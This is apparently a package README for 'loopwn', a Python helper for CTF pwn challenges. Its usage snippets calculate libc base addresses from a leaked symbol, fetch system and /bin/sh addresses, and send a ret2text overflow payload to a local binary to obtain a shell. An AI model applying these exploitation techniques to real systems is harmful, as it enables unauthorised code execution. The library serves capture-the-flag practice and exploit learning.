loopwn 0.2.0

A CTF pwn helper library for easy libc address calculation

loopwn

A Python library designed to assist with CTF Pwn challenges, specifically focusing on Libc address calculation and leak exploitation.

Installation

pip install loopwn

Usage

1. Looplibc - Libc Address Calculation

from loopwn import Looplibc

# Example 1: Initialize with a known base address
libc = Looplibc('./libc.so.6', 0x7ffff7a0d000)

# Example 2: Initialize with a leaked symbol address
# This will automatically calculate the base address
libc = Looplibc('./libc.so.6', 'puts', 0x7ffff7a8c5a0)

# Access addresses
print(hex(libc.system))
print(hex(libc.bin_sh))

2. loop2text - Auto Ret2text Exploitation

from pwn import *
from loopwn import loop2text

# Start process
io = process('./pwn')

# Exploit
# Automatically sends payload and verifies shell with an echo check
# Args: padding_length, backdoor_address, io_object
loop2text(112, 0x401186, io)

Features

• Automatic Base Calculation: Easily calculate libc base address from a leaked symbol.
• Quick Access: Get system and /bin/sh addresses via properties.
• Auto Ret2Text: Generate payload and get shell in one line with loop2text.
• Shell Verification: Automatically checks if shell is obtained.
• Pwntools Integration: Inherits from pwntools's ELF class.